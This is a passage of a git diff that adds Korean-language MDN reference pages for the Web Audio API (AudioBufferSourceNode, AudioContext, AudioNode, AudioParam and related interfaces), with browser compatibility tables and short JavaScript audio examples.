+ + + + + + + + + + + + + + + + + + + + + + + + + + + +
FeatureChromeFirefox (Gecko)Internet ExplorerOperaSafari (WebKit)
Basic support14 {{property_prefix("webkit")}}{{CompatGeckoDesktop(25)}}{{CompatNo}}15 {{property_prefix("webkit")}}
+ 22 (unprefixed)
6 {{property_prefix("webkit")}}
copyFromChannel() and copyToChannel(){{CompatUnknown}}{{CompatGeckoDesktop(27)}}{{CompatNo}}{{CompatUnknown}}{{CompatUnknown}}
+
+
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
FeatureAndroidChromeFirefox Mobile (Gecko)Firefox OSIE PhoneOpera MobileSafari Mobile
Basic support{{CompatNo}}28 {{property_prefix("webkit")}}{{CompatGeckoMobile(25)}}1.2{{CompatNo}}{{CompatNo}}6 {{property_prefix("webkit")}}
copyFromChannel() and copyToChannel(){{CompatNo}}{{CompatUnknown}}{{CompatGeckoMobile(27)}} {{CompatNo}}{{CompatNo}}{{CompatUnknown}}
+
+

See also

+ diff --git a/files/ko/web/api/audiobuffersourcenode/index.html b/files/ko/web/api/audiobuffersourcenode/index.html new file mode 100644 index 0000000000..84d15b5d2d --- /dev/null +++ b/files/ko/web/api/audiobuffersourcenode/index.html @@ -0,0 +1,146 @@ +--- +title: AudioBufferSourceNode +slug: Web/API/AudioBufferSourceNode +translation_of: Web/API/AudioBufferSourceNode +--- +
{{APIRef("Web Audio API")}}
+ +

AudioBufferSourceNode 의 오디오 소스는 in-memory 의 {{domxref("AudioNode")}} 상에 저장된 데이터로 구성되어있다. 이는 오디오 소스 그 자체처럼 동작을 한다.

+ +

AudioBufferSourceNode 는 입력정보를 가지지 않고 정확히 하나의 출력정보를 가진다. 출력상의 여러 채널은 AudioBufferSourceNode.buffer 프로퍼티로로 동작할 {{domxref("AudioBuffer")}} 의 채널의 수와 일치한다. 만약에 AudioBufferSourceNode.buffernull이라면 출력은 오직 무음으로 출력이된다. {{domxref("AudioBufferSourceNode")}}는 오직 한번만 재생이 된다. 즉 AudioBufferSourceNode.start()가 한번만 호출될수 있다. 만약에 한번더 재생하기를 원한다면 또 다른 AudioBufferSourceNode를 생성해야 한다. 이 노드는 매우 간편히 생성가능하다.  AudioBuffer는 다른 곳에서 접근해 재생이 가능하다. AudioBufferSourceNodes는 "fire and forget(쓰고 잊자)" 처럼 한번 쓰고 나면 해당노드의 모든 참조들이 없어지고 자동적으로 가비지 콜렉터로 가게된다.

+ +

여러번 실행을 하면 AudioBufferSourceNode.stop()을 통해 정지가 가능하다. 가장 최근의 실행된것이 이전의 것으로 대체가 되어 AudioBufferSourceNode버퍼의 마지막에 도착하지 않은 상태가 된다.

+ +


+ The AudioBufferSourceNode takes the content of an AudioBuffer and m

+ + + + + + + + + + + + + + + + +
Number of inputs0
Number of outputs1
Channel countdefined by the associated {{domxref("AudioBuffer")}}
+ +

Properties

+ +

 {{domxref("AudioNode")}} 를 부모로 가지는 프로퍼티.

+ +
+
{{domxref("AudioBufferSourceNode.buffer")}}
+
{{domxref("AudioBuffer")}} 의 음원이 재생이 되거나 값이 NULL 이라면 채널하나을 무음으로 정의한다.
+
{{domxref("AudioBufferSourceNode.playbackRate")}} {{readOnlyinline}}
+
{{domxref("AudioParam")}}에는 두개의 파라메터가 있는 데 그중의 하나인 a-rate을 재생이될 정보의 속도요소로 정의 한다.  출력에 수정된 음의 보정이 있지않으므로 이 는 샘플의 음을 변경하는데 사용이 가능하다.
+
{{domxref("AudioBufferSourceNode.loop")}}
+
Boolean값으로 음원이 재생되어 {{domxref("AudioBuffer")}}의 끝에 다달했음을 알리는 값이다. false를 기본값으로 가진다.
+
{{domxref("AudioBufferSourceNode.loopStart")}}
+
double값으로 {{domxref("AudioBuffer")}}가 재시작이 되는 경우 반드시 발생한다. 기본값은 0이다.
+
{{domxref("AudioBufferSourceNode.loopEnd")}}
+
double값으로 {{domxref("AudioBuffer")}}가 다시 재생이 되는 경우 재생을 멈춰야 한다(그리고 결국에는 다시 시작한다). 기본값은 0이다.
+
+ +

Event handlers

+ +
+
{{domxref("AudioBufferSourceNode.onended")}}
+
{{domxref("EventHandler")}}로 {{event("ended_(Web_Audio)", "ended")}}이벤트와 연관된 콜백함수를 가진다.
+
+ +

Methods

+ +

{{domxref("AudioNode")}} 를 부모로 가지는 매서드.

+ +
+
{{domxref("AudioBufferSourceNode.start()")}}
+
음원이 재생되는 시작되는 시점.
+
{{domxref("AudioBufferSourceNode.stop()")}}
+
음원이 재생되는 끝나는 시점.
+
+ +

Examples

+ +

이 예제는 two-second buffer를 생성하여 화이트 노이즈로 채워 이를 AudioBufferSourceNode을 통해 재생한다.

+ +
+

Note: You can also run the code live, or view the source.

+
+ +
var audioCtx = new (window.AudioContext || window.webkitAudioContext)();
+var button = document.querySelector('button');
+var pre = document.querySelector('pre');
+var myScript = document.querySelector('script');
+
+pre.innerHTML = myScript.innerHTML;
+
+// Stereo
+var channels = 2;
+// Create an empty two-second stereo buffer at the
+// sample rate of the AudioContext
+var frameCount = audioCtx.sampleRate * 2.0;
+
+var myArrayBuffer = audioCtx.createBuffer(2, frameCount, audioCtx.sampleRate);
+
+button.onclick = function() {
+  // Fill the buffer with white noise;
+  //just random values between -1.0 and 1.0
+  for (var channel = 0; channel < channels; channel++) {
+   // This gives us the actual ArrayBuffer that contains the data
+   var nowBuffering = myArrayBuffer.getChannelData(channel);
+   for (var i = 0; i < frameCount; i++) {
+     // Math.random() is in [0; 1.0]
+     // audio needs to be in [-1.0; 1.0]
+     nowBuffering[i] = Math.random() * 2 - 1;
+   }
+  }
+
+  // Get an AudioBufferSourceNode.
+  // This is the AudioNode to use when we want to play an AudioBuffer
+  var source = audioCtx.createBufferSource();
+  // set the buffer in the AudioBufferSourceNode
+  source.buffer = myArrayBuffer;
+  // connect the AudioBufferSourceNode to the
+  // destination so we can hear the sound
+  source.connect(audioCtx.destination);
+  // start the source playing
+  source.start();
+}
+ +
+

Note: For a decodeAudioData example, see the {{domxref("AudioContext.decodeAudioData")}} page.

+
+ +

Specification

+ + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('Web Audio API', '#the-audiobuffersourcenode-interface', 'AudioBufferSourceNode')}}{{Spec2('Web Audio API')}} 
+ +

Browser compatibility

+ +
{{Compat("api.AudioBufferSourceNode")}}
+ +

See also

+ + diff --git a/files/ko/web/api/audiochannelmanager/index.html b/files/ko/web/api/audiochannelmanager/index.html new file mode 100644 index 0000000000..6bee14adb8 --- /dev/null +++ b/files/ko/web/api/audiochannelmanager/index.html @@ -0,0 +1,74 @@ +--- +title: AudioChannelManager +slug: Web/API/AudioChannelManager +tags: + - API + - Audio + - Non-standard +translation_of: Archive/B2G_OS/API/AudioChannelManager +--- +

{{APIRef("Web Audio API")}} {{Non-standard_header}}

+ +

AudioChannelManager는 디바이스의 오디오 채널을 관리하는 기능을 포함하는 오디오 채널 API(AudioChannels API)의 인터페이스이다. 특정한 앱 내에서 볼륨 버튼이 눌렸을 때 어떤 채널의 볼륨이 적용될지를 설정하는 기능을 포함하고 있다.

+ +

메소드

+ +
+

Note: 부모클래스인 {{domxref("EventTarget")}}의 메소드를 상속받는다.

+
+ +

속성

+ +
+

Note: 부모클래스인 {{domxref("EventTarget")}}의 속성을 상속받는다.

+
+ +
+
{{domxref("AudioChannelManager.headphones")}} {{readonlyinline}}
+
헤드폰이 디바이스에 장착되었는지 여부를 나타내는 불리언 값.
+
{{domxref("AudioChannelManager.telephonySpeaker")}}
+
"telephony" 오디오 채널이 장치의 스피커 밖으로 재생할지 여부를 설정할 수 있도록하는 불리언 값.
+
{{domxref("AudioChannelManager.volumeControlChannel")}}
+
하드웨어 볼륨 버튼을 눌렀을 때 변경해야 할 오디오 채널에 대한 {{domxref("DOMString")}} 값.
+
+ +

이벤트 핸들러

+ +
+
{{domxref("AudioChannelManager.onheadphoneschange")}}
+
헤드폰이 장착되었는지 혹은 해제되었는지 알려주는 트리거.
+
+ +

예제

+ +

아래 간단한 예제를 보면, 앱의 AudioChannelManager 객체에 접근하기 위해 {{domxref("Navigator.mozAudioChannelManager","navigator.mozAudioChannelManager")}} 속성을 사용한다.  먼저 첫번째로 수신된 변수에 따라 {{domxref("AudioChannelManager.volumeControlChannel")}} 속성을 설정한 후, 몇 가지 기본적인 특징을 검출한다.

+ +
var channelValue = 'content';
+
+if (navigator.mozAudioChannelManager) {
+  if(channelValue == 'normal') {
+    navigator.mozAudioChannelManager.volumeControlChannel = 'normal';
+  } else if(channelValue == 'content') {
+    navigator.mozAudioChannelManager.volumeControlChannel = 'content';
+  }
+  console.log(navigator.mozAudioChannelManager.volumeControlChannel);
+}
+ +
+

Note: 완전히 동작하는 예제를 보기 위해서는 audio-channels-demo를 확인하기 바란다. Firefox OS 디바이스에 앱을 설치하고 음악을 재생한 뒤, 채널을 normal 그리고 content로 지정하여 앱을 백그라운드로 전환 후 어떤 일이 발생하는지 확인하도록 한다.

+
+ +

명세

+ +

현재 오디오 채널 API는 공식적인 명세(스펙)가 정의되어있지 않다. https://wiki.mozilla.org/WebAPI/AudioChannels를 참고하면 WebIDL에 대한 자세한 구현사항에 대해 확인할 수 있다.

+ +

함께 보기

+ +
 
+ + diff --git a/files/ko/web/api/audiochannels_api/index.html b/files/ko/web/api/audiochannels_api/index.html new file mode 100644 index 0000000000..de4d98de42 --- /dev/null +++ b/files/ko/web/api/audiochannels_api/index.html @@ -0,0 +1,121 @@ +--- +title: Audio Channels API +slug: Web/API/AudioChannels_API +tags: + - API + - Audio + - AudioChannels + - Firefox OS + - Non-standard + - Obsolete + - Reference +translation_of: Archive/B2G_OS/API/Audio_Channels_API +--- +

{{DefaultAPISidebar("Audio Channels API")}}

+ +
+

Non-standard
+ This feature is not on a current W3C standards track, but it is supported on the Firefox OS platform. Although implementations may change in the future and it is not supported widely across browsers, it is suitable for use in code dedicated to Firefox OS apps.

+
+ +

The Audio Channels API is a Firefox OS-only feature allowing you to place your app audio content into a hierarchy of importance, which dictates when the audio will be paused and resumed in response to other audio playing and actions occurring and allows you to control the volume of different types of audio independently from one another.

+ +

Use case examples:

+ + + +
+

Note: Since the AudioChannels API is non-standard and requires permissions, for many simple use cases such as pausing game music when the app/web page goes into the background you would be better off using the standard Page Visibility API, or perhaps window.onfocus/window.onblur. AudioChannels are mainly useful for more complex phone uses cases involving telephony, etc.

+
+ +

Concepts and usage

+ +

The AudioChannels API extends the HTMLMediaElement and AudioContext interfaces with (among other things) a mozAudioChannelType property that can be set to the channel you want your audio to be played in. The  <audio> and <video> elements can also be used to set this value via the mozaudiochannel attribute. When your audio is placed into a channel, it is generally paused (or interrupted) by audio in a higher priority channel being played. Audio in the least important channel — normal — is also paused by its app being put into the background (this is not the case with the other channels). The audio channels are as follows:

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
Channel nameimportanceUsed forApp permission level
normal1UI sounds, app and web contentNormal
content2Music, radio, videoNormal
notification3New email, incoming SMSPrivileged
alarm4Alarm clock, calendar alarmsPrivileged
ringer5Incoming phone callsCertified
telephony6Ongoing phone calls, VOIP callsCertified
publicnotification7Forced camera shutter soundsCertified
+ +

Each channel has a separate mute and volume setting, to provide more granular control over the different parts of audio on your device. These are accessed using the mozAudioChannelManager object via the navigator.mozAudioChannelManager property.

+ +
+

Note: If you have two apps playing audio in the content channel, only the one in the foreground can play audio, while the other is interrupted. When the foreground app is put into the background with audio playing, it will not be muted, as per normal "content" behaviour.

+
+ +
+

Note: Find more out about how to use the AudioChannels API in our Using the AudioChannels API guide.

+
+ +

AudioChannels interfaces

+ +
+
AudioChannelManager
+
Includes some features for managing your device's audio channels, including setting what channel's volume to affect when the volume buttons are pressed inside a particular app.
+
HTMLMediaElement and AudioContext extensions
+
HTMLMediaElement and AudioContext are extended with some proprietary features for controlling audio channels, including setting what audio channel the media is in, and events that fire when the audio is interrupted, and resumes playing.
+
Browser API extensions
+
The Browser API will also be including some audio channels features, for putting audio content inside a browser instance into audio channels, controlling its volume, etc., but it doesn't look like these have yet been implemented. This should occur soon.
+
+ +

See also

+ + diff --git a/files/ko/web/api/audiocontext/index.html b/files/ko/web/api/audiocontext/index.html new file mode 100644 index 0000000000..b42947de88 --- /dev/null +++ b/files/ko/web/api/audiocontext/index.html @@ -0,0 +1,179 @@ +--- +title: AudioContext +slug: Web/API/AudioContext +tags: + - 오디오 +translation_of: Web/API/AudioContext +--- +

{{APIRef()}}

+ +
+

AudioContext는 오디오 모듈과 연동시켜 {{domxref("AudioNode")}}를 통해 음원을 그래프화 시킨다. 오디오 컨택스트는 음원정보를 담은 노드를 생성하거나 음원을 실행또는 디코딩 시키는 일을 한다. 당신이 음원을 다룰일이 있다면 우선 AudioContext를 생성해야 관련된 모든 작업을 진행할 수 있다.

+ +

AudioContext 이벤트의 타겟이 되므로 {{domxref("EventTarget")}} 인터페이스를 통해 구현되어야 한다.

+
+ +

Properties

+ +
+
{{domxref("AudioContext.currentTime")}} {{readonlyInline}}
+
double형으로 리턴되는 음원을 스케쥴링하기 위한 초단위로 증가하는 시간을 나타낸다. 이는 0부터 시작해서 진행되며 멈추거나 일시정지, 리셋을 할수는 없다.
+
{{domxref("AudioContext.destination")}} {{readonlyInline}}
+
{{domxref("AudioDestinationNode")}} 은 컨텍스트 상의 모든 음원의 마지막 지점을 리턴한다. It can be thought of as the audio-rendering device.
+
{{domxref("AudioContext.listener")}} {{readonlyInline}}
+
{{domxref("AudioListener")}} 오브젝트를 리턴하여 3D 사운드를 다루기 위해 사용된다.
+
{{domxref("AudioContext.sampleRate")}} {{readonlyInline}}
+
컨택스트 상의 모든 노드에서 사용될 샘플rate를 float형으로 매초 리턴한다.  {{domxref("AudioContext")}} 의 sample-rate는 변경되지 않는다.
+
{{domxref("AudioContext.mozAudioChannelType")}} {{ non-standard_inline() }} {{readonlyInline}}
+
Firefox OS의 디바이스에서 재생될 {{domxref("AudioContext")}}상의 음원의 채널을 리턴받는다.
+
+ +

Methods

+ +

{{domxref("EventTarget")}}을 부모로 가지는 메서드.

+ +
+
{{domxref("AudioContext.createBuffer()")}}
+
새롭게 빈 {{ domxref("AudioBuffer") }}를 생성해 음원데이터를 넣거나 {{domxref("AudioBufferSourceNode") }}를 통해 재생하는 역할을 한다.
+
{{domxref("AudioContext.createBufferSource()")}}
+
{{domxref("AudioBufferSourceNode")}}를 생성하여 {{ domxref("AudioBuffer")}} 객체상에 담긴 데이터를 재생하거나 수정할때 사용된다.  {{ domxref("AudioBuffer")}}들은 {{domxref("AudioContext.createBuffer")}}을 통해 생성이 되거나 {{domxref("AudioContext.decodeAudioData")}}에 의해 음원트랙이 성공적으로 디코드 되었을 경우에 리턴이 된다.
+
{{domxref("AudioContext.createMediaElementSource()")}}
+
{{domxref("HTMLMediaElement")}}와 연관된 {{domxref("MediaElementAudioSourceNode")}}을 생성한다.  이는 {{HTMLElement("video")}} 나 {{HTMLElement("audio")}} 를 재생하거나 음원을 조작할때 사용한다.
+
{{domxref("AudioContext.createMediaStreamSource()")}}
+
{{domxref("MediaStream")}} 과 연관된 {{domxref("MediaStreamAudioSourceNode")}}를 생성하여 내 컴퓨터의 마이크나 다른 소스를 통해 발생한 오디오 스트림의 정보를 보여준다.
+
{{domxref("AudioContext.createMediaStreamDestination()")}}
+
{{domxref("MediaStream")}} 과 연관된 {{domxref("MediaStreamAudioDestinationNode")}}를 생성하여 로컬파일로 저장된 혹은 다른 컴퓨터에 저장된 오디오 스트림정보를 보여준다.
+
{{domxref("AudioContext.createScriptProcessor()")}}
+
{{domxref("ScriptProcessorNode")}} 자바스크립트를 통해 음원의 진행상태에 직접접근에 사용된다.
+
{{domxref("AudioContext.createAnalyser()")}}
+
{{domxref("AnalyserNode")}}를 생성하여 오디오의 시간이나 주파수 정보를 알아내어 데이터를 시각화 하는 작업등에 사용을 할 수 있다.
+
{{domxref("AudioContext.createBiquadFilter()")}}
+
{{domxref("BiquadFilterNode")}} 를 생성하여 high-pass, low-pass, band-pass등  2차 필터의 정보를 설정 할 수 있다.
+
{{domxref("AudioContext.createChannelMerger()")}}
+
{{domxref("ChannelMergerNode")}} 두개의 오디오 스트림 정보를 하나의 오디오 스트림으로 합칠 수 있다.
+
{{domxref("AudioContext.createChannelSplitter()")}}
+
{{domxref("ChannelSplitterNode")}}를 통해 오디오 스트림의 각각의 채널정보에 접근 할 때와 스트림을 구분지어 처리할때 사용한다.
+
{{domxref("AudioContext.createConvolver()")}}
+
{{domxref("ConvolverNode")}}를 통해 convolution effects를 당신의 오디오 그래프에 적용할 때 사용한다. 예를 들면 reverberation effect 가 있다.
+
{{domxref("AudioContext.createDelay()")}}
+
{{domxref("DelayNode")}}를 통해 특정 시간동안 오디오의 입력신호를 딜레이 시킨다. 이 노드는 Web Audio API에서 피드백 루프를 생성할때 유용하다.
+
{{domxref("AudioContext.createDynamicsCompressor()")}}
+
{{domxref("DynamicsCompressorNode")}}는 음원의 신호를 암축할때 사용된다.
+
{{domxref("AudioContext.decodeAudioData()")}}
+
{{domxref("ArrayBuffer") }} 에 담긴 오디오 파일을 비동기적으로 디코딩 시킬때 사용한다. 이 경우에 일반적으로 ArrayBuffer는 arraybuffer의 responseType을 세팅한 후 {{domxref("XMLHttpRequest")}}의 response를 통해 데이터가 로드된다. 이 메서드는 오직 완벽한 파일에서만 동작을 한다. 파편화된 오디오 파일들에서는 동작하지 않는다.
+
{{domxref("AudioContext.createGain()")}}
+
{{domxref("GainNode")}}를 생성하여 오디오 그래프의 전반적인 볼륨을 조절할때 사용한다.
+
{{domxref("AudioContext.createOscillator()")}}
+
{{domxref("OscillatorNode")}}를 통해 시간별 음원의 파형을 볼수 있다. 이는 일반적으로 음색(a tone) 을 생성한다.
+
{{domxref("AudioContext.createPanner()")}}
+
{{domxref("PannerNode")}}를 통해 입력되는 음원을 3차원으로 공간화 시킬때 사용한다.
+
{{domxref("AudioContext.createPeriodicWave()")}}
+
{{domxref("PeriodicWave")}}를 생성하여 {{ domxref("OscillatorNode") }}를 통해 출력되는 파형을 확인할수 있다.
+
{{domxref("AudioContext.createWaveShaper()")}}
+
{{domxref("WaveShaperNode")}}는 non-linear distortion effects를 적용할 때 사용한다.
+
{{domxref("AudioContext.createAudioWorker()")}}
+
{{domxref("AudioWorkerNode")}}는 Web Worker의 스레드와 상호작용을 하며 오디오를 생성, 처리, 분석등의 작업을 직접한다. 이는 2014년 8월 29일에 스펙으로 추가되어 아직 다른 브라우저에는 적용되지 않은 상태이다.
+
+ +

Obsolete methods

+ +
+
{{domxref("AudioContext.createJavaScriptNode()")}}
+
Creates a {{domxref("JavaScriptNode")}}, used for direct audio processing via JavaScript. This method is obsolete, and has been replaced by {{domxref("AudioContext.createScriptProcessor()")}}.
+
{{domxref("AudioContext.createWaveTable()")}}
+
Creates a {{domxref("WaveTableNode")}}, used to define a periodic waveform. This method is obsolete, and has been replaced by {{domxref("AudioContext.createPeriodicWave()")}}.
+
+ +

Examples

+ +

Basic audio context declaration:

+ +
var audioCtx = new AudioContext;
+ +

Cross browser variant:

+ +
var AudioContext = window.AudioContext || window.webkitAudioContext;
+var audioCtx = new AudioContext();
+
+var oscillatorNode = audioCtx.createOscillator();
+var gainNode = audioCtx.createGain();
+var finish = audioCtx.destination;
+// etc.
+ +

Specifications

+ + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('Web Audio API', '#the-audiocontext-interface', 'AudioContext')}}{{Spec2('Web Audio API')}} 
+ +

Browser compatibility

+ +
{{CompatibilityTable}}
+ +
+ + + + + + + + + + + + + + + + + + + +
FeatureChromeFirefox (Gecko)Internet ExplorerOperaSafari (WebKit)
Basic support{{CompatChrome(10.0)}}{{property_prefix("webkit")}}{{CompatGeckoDesktop(25.0)}} {{CompatNo}}15.0{{property_prefix("webkit")}}
+ 22 (unprefixed)
6.0{{property_prefix("webkit")}}
+
+ +
+ + + + + + + + + + + + + + + + + + + + + + + +
FeatureAndroidFirefox Mobile (Gecko)Firefox OSIE MobileOpera MobileSafari MobileChrome for Android
Basic support{{CompatUnknown}}26.01.2{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}33.0
+
+ +

See also

+ + diff --git a/files/ko/web/api/audiodestinationnode/index.html b/files/ko/web/api/audiodestinationnode/index.html new file mode 100644 index 0000000000..f119f5ae5e --- /dev/null +++ b/files/ko/web/api/audiodestinationnode/index.html @@ -0,0 +1,142 @@ +--- +title: AudioDestinationNode +slug: Web/API/AudioDestinationNode +tags: + - 오디오 +translation_of: Web/API/AudioDestinationNode +--- +

{{APIRef()}}

+ +
+

AudioDestinationNode 은 주어진 컨택스트의 음원의 종착점을 나타냅니다. 보통 스피커를 가리킵니다. 이는 또한 OfflineAudioContext를 사용해 데이터가 녹음되는 노드가 되기도 합니다.

+AudioDestinationNode has no output (as it is the output, no more AudioNode can be linked after it in the audio graph) and one input.  입력받은 음원의 채널의 총 갯수는 반드시 0과 maxChannelCount값의 사이에 있거나 예외(an exception is raised)가 발생한다. + +

주어진 AudioContext의 AudioDestinationNode는 {{domxref("AudioContext.destination")}}프로퍼티를 통해 검색이 된다.

+ + + + + + + + + + + + + + + + + + + + + + + + +
Number of inputs1
Number of outputs0
Channel count mode"explicit"
Channel count2
Channel interpretation"speakers"
+
+ +

Properties

+ +

Inherits properties from its parent, {{domxref("AudioNode")}}.

+ +
+
{{domxref("AudioDestinationNode.maxChannelCount")}}
+
unsigned long 형의 물리적인 디바이스로 다룰수 있는 최대 채널의 갯수.
+
+ +

Methods

+ +

No specific method; inherits methods from its parent, {{domxref("AudioNode")}}.

+ +

Example

+ +

AudioDestinationNode를 사용하면 복잡한 세팅없이 몇줄의 코드로 오디오 그래프를 확인할 수 있습니다.

+ +
var audioCtx = new AudioContext();
+var source = audioCtx.createMediaElementSource(myMediaElement);
+source.connect(gainNode);
+gainNode.connect(audioCtx.destination);
+ +

To see a more complete implementation, check out one of our MDN Web Audio examples, such as Voice-change-o-matic or Violent Theremin.

+ +

Specifications

+ + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('Web Audio API', '#the-audiodestinationnode-interface', 'AudioDestinationNode')}}{{Spec2('Web Audio API')}} 
+ +

Browser compatibility

+ +
{{CompatibilityTable}}
+ +
+ + + + + + + + + + + + + + + + + + + +
FeatureChromeFirefox (Gecko)Internet ExplorerOperaSafari (WebKit)
Basic support14 {{property_prefix("webkit")}}23{{CompatNo}}15 {{property_prefix("webkit")}}
+ 22 (unprefixed)
6 {{property_prefix("webkit")}}
+
+ +
+ + + + + + + + + + + + + + + + + + + + + + + +
FeatureAndroidChromeFirefox Mobile (Gecko)Firefox OSIE PhoneOpera MobileSafari Mobile
Basic support{{CompatNo}}28 {{property_prefix("webkit")}}251.2{{CompatNo}}{{CompatNo}}6 {{property_prefix("webkit")}}
+
+ +

See also

+ + diff --git a/files/ko/web/api/audionode/index.html b/files/ko/web/api/audionode/index.html new file mode 100644 index 0000000000..7a30efdac2 --- /dev/null +++ b/files/ko/web/api/audionode/index.html @@ -0,0 +1,185 @@ +--- +title: AudioNode +slug: Web/API/AudioNode +translation_of: Web/API/AudioNode +--- +

{{APIRef()}}

+

AudioNode는 포괄적으로 오디오를 처리하는 데이터 소스인 {{HTMLElement("audio")}} 테그나 {{HTMLElement("video")}} 테그, {{domxref("OscillatorNode")}} 와 audio destinatio, intermediate 처리 모듈인 {{domxref("BiquadFilterNode")}} or {{domxref("ConvolverNode")}} 또는 볼륨을 조절하는 {{domxref("GainNode")}} 등을 나타냅니다.

+

AudioNodes participating in an AudioContext create a audio routing graph.

+

AudioNode는 입력과 출력을 가지고 각각의 주어진 채널을 가지고 있습니다. 입력이 0인 AudioNode와 하나 혹은 다수의 출력을 가지면 이를 소스노드라고 불린다. 하나의 AudioNode에서 다른 쪽으로 다양한 처리가 이뤄진다. 일반적으로는 노드는 입력을 읽어 음원관련 처리작업을 하고, 새로운 출력값을 만든다. 아니면 단순히 음원이 지나가는 노드역활만을 하기도 한다.

+

 (for example in the {{domxref("AnalyserNode")}}, where the result of the processing is accessed separatly).

+

다른 노드들은 processing graph 를 만들기 위해 서로를 연결한다. graph는  {{domxref("AudioContext")}}를 가지고 있다. 각각의 노드는 하나이 컨택스트에 관여를 한다. 일반적으로는 처리노드는 AudioNode의 메서드와 프로퍼티를 상속받아 처리하지만 사용자의 의도에 따라 기능을 추가 할수도 있다. 자세한 Web Audio API 페이지 이다.

+
+

Note: An AudioNode can be target of events, therefore it implements the {{domxref("EventTarget")}} interface.

+
+

Properties

+
+
+ {{domxref("AudioNode.context")}} {{readonlyInline}}
+
+ {{domxref("AudioContext")}}와 연관된 정보를 리턴한다. 노드가 관여하고 있는 processing graph 객체를 나타낸다.
+
+
+
+ {{domxref("AudioNode.numberOfInputs")}} {{readonlyInline}}
+
+ 노드에 입력되는 인풋의 수를 리턴받는다. 소스노드는 numberOfInputs 프로퍼티를 가지는데 기본적으로 0 값을 가진다.
+
+
+
+ {{domxref("AudioNode.numberOfOutputs")}} {{readonlyInline}}
+
+ 노드를 통해 나오는 출력의 갯수를 리턴한다. {{ domxref("AudioDestinationNode") }} 같은 노드의 경우에는 이 값은 0을 가지고 있다.
+
+
+
+ {{domxref("AudioNode.channelCount")}}
+
+ 인풋에 up-mixing and down-mixing을 하는 경우 몇개의 채널이 사용되는지 갯수를 정수값으로 리턴한다. {{domxref("AudioNode.channelCountMode")}}의 값에의해 정확한 갯수를 알수 있다.
+
+
+
+ {{domxref("AudioNode.channelCountMode")}}
+
+ 노드에 입력되는 입력값과 출력값의 연관 정보를 리턴받는다.
+
+ {{domxref("AudioNode.channelInterpretation")}}
+
+ 음원을 어떻게 up-mixing and down-mixing 하는지에 대한 정보를 리턴받는다. 이 값은 "speakers""discrete" 가 될 수 있다.
+
+

Methods

+

Also implements methods from the interface {{domxref("EventTarget")}}.

+
+
+ {{domxref("AudioNode.connect(AudioNode)")}}
+
+ 다른 노드에서의 입력과 현대 노드의 출력값을 서로 연결시킬수 있다.
+
+ {{domxref("AudioNode.connect(AudioParam)")}}
+
+ 현재 노드의 출력과 audio parameter의 출력 하나와 연결 시킬수 있다.
+
+ {{domxref("AudioNode.disconnect()")}}
+
+ 현재의 노드와 연결된 다른 노드와의 연결을 끊을수 있다.
+
+

Example

+

이예제는 간단하게 AudioNode의 프로퍼티와 메서드를 어떻게 사용하는지를 보여 준다. Web Audio API에 가면 더 많은 예제를 확인 할 수 있다.

+
var AudioContext = window.AudioContext || window.webkitAudioContext;
+
+var audioCtx = new AudioContext();
+
+var oscillator = audioCtx.createOscillator();
+var gainNode = audioCtx.createGain();
+
+oscillator.connect(gainNode);
+gainNode.connect(audioCtx.destination);
+
+oscillator.context;
+oscillator.numberOfInputs;
+oscillator.numberOfOutputs;
+oscillator.channelCount;
+

Specifications

+ + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('Web Audio API', '#the-audionode-interface', 'AudioNode')}}{{Spec2('Web Audio API')}} 
+

Browser compatibility

+
+ {{CompatibilityTable}}
+
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
FeatureChromeFirefox (Gecko)Internet ExplorerOperaSafari (WebKit)
Basic support{{CompatChrome(10.0)}}{{property_prefix("webkit")}}{{CompatGeckoDesktop(25.0)}}{{CompatNo}}15.0{{property_prefix("webkit")}}
+ 22 (unprefixed)
{{CompatVersionUnknown}}
channelCount channelCountMode{{CompatVersionUnknown}} {{property_prefix("webkit")}}{{CompatVersionUnknown}}{{CompatNo}}{{CompatVersionUnknown}}{{CompatNo}}
connect(AudioParam){{CompatVersionUnknown}} {{property_prefix("webkit")}}{{CompatVersionUnknown}}{{CompatNo}}{{CompatVersionUnknown}}{{CompatNo}}
+
+
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
FeatureAndroidFirefox Mobile (Gecko)Firefox OS (Gecko)IE PhoneOpera MobileSafari Mobile
Basic support{{CompatUnknown}}25.01.2{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}
channelCount
+ channelCountMode
{{CompatNo}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatNo}}{{CompatNo}}{{CompatNo}}
connect(AudioParam){{CompatNo}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatNo}}{{CompatNo}}{{CompatNo}}
+
+

See also

+ diff --git a/files/ko/web/api/audioparam/index.html b/files/ko/web/api/audioparam/index.html new file mode 100644 index 0000000000..009a3b7552 --- /dev/null +++ b/files/ko/web/api/audioparam/index.html @@ -0,0 +1,114 @@ +--- +title: AudioParam +slug: Web/API/AudioParam +tags: + - API + - Audio + - AudioParam + - Interface + - Reference + - Web Audio API +translation_of: Web/API/AudioParam +--- +
{{APIRef("Web Audio API")}}
+ +

The Web Audio API's AudioParam interface represents an audio-related parameter, usually a parameter of an {{domxref("AudioNode")}} (such as {{ domxref("GainNode.gain") }}). An AudioParam can be set to a specific value or a change in value, and can be scheduled to happen at a specific time and following a specific pattern.

+ +

There are two kinds of AudioParam, a-rate and k-rate parameters:

+ + + +

Each {{domxref("AudioNode")}} defines which of its parameters are a-rate or k-rate in the spec.

+ +

Each AudioParam has a list of events, initially empty, that define when and how values change. When this list is not empty, changes using the AudioParam.value attributes are ignored. This list of events allows us to schedule changes that have to happen at very precise times, using arbitrary timelime-based automation curves. The time used is the one defined in {{domxref("AudioContext.currentTime")}}.

+ +

Properties

+ +

AudioParam Inherits properties from its parent, AudioNode.

+ +
+
{{domxref("AudioParam.defaultValue")}} {{readonlyInline}}
+
Represents the initial volume of the attribute as defined by the specific {{domxref("AudioNode")}} creating the AudioParam.
+
{{domxref("AudioParam.maxValue")}} {{readonlyInline}}
+
Represents the maximum possible value for the parameter's nominal (effective) range. 
+
